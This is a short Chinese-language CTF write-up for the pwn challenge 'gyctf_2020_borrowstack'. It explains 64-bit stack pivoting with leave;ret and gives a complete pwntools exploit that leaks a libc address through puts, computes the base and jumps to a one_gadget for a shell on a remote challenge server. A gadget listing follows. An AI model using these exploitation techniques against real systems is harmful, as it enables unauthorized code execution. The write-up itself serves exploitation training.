gyctf_2020_borrowstack wp

我测,白天出去,半夜做这道题真的是要命,表面上是一道栈迁移,实际上有很多小细节,看了各路大佬wp才缓过来
64位栈迁移

leave;相当于mov rsp,rbp; pop rbpret;相当于pop rip
可以利用这一点进行栈迁移(此时发送应用send不能用sendline,否则会影响下面leak_addr的接收,不知原因
不过此题进行栈迁移后需要将bank地址抬高,以免rop编写破坏got表(大半夜脑壳是mood,白天再想想
还有
另外此题不能按照一般传参进system做,需要利用one_gadget

好困先放个exp:

from pwn import *

# io=process("./gyctf_2020_borrowstack")
io=remote("node4.buuoj.cn",29146)
elf=ELF("./gyctf_2020_borrowstack")
libc=ELF("./libc-2.23.so")

puts_plt=elf.plt[b"puts"]
puts_got=elf.got[b"puts"]
start_addr=elf.sym[b"main"]  #不能返回_start
pop_rdi_ret=0x400703
bank_addr=0x601080
leave_ret=0x400699
ret_addr=0x4004c9

io.recvuntil(b"want\n")
payload=cyclic(0x60)+p64(bank_addr)+p64(leave_ret)
io.send(payload)   #只能send不能sendline

io.recvuntil(b"now!\n")
payload=p64(ret_addr)*0x14+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
io.sendline(payload)

leak_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))
print("leak_addr  "+hex(leak_addr))

base_addr=leak_addr-libc.sym[b"puts"]
print("base_addr  "+hex(base_addr))

one_gadget=base_addr+0xf1147
# sys_addr=base_addr+libc.sym[b"system"]   
# bin_addr=base_addr+next(libc.search(b"/bin/sh"))
# payload=cyclic(0x68)+p64(pop_rdi_ret)+p64(bin_addr)+p64(sys_addr)   #不能调用system("/bin/sh"),需要one_gadget

io.recv()
payload=cyclic(0x68)+p64(one_gadget)
io.send(payload)

io.interactive()

# Gadgets information
# ============================================================
# 0x0000000000400699 : leave ; ret
# 0x00000000004006fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004006fe : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400700 : pop r14 ; pop r15 ; ret
# 0x0000000000400702 : pop r15 ; ret
# 0x00000000004006fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004006ff : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400590 : pop rbp ; ret
# 0x0000000000400703 : pop rdi ; ret
# 0x0000000000400701 : pop rsi ; pop r15 ; ret
# 0x00000000004006fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004004c9 : ret

# Unique gadgets found: 12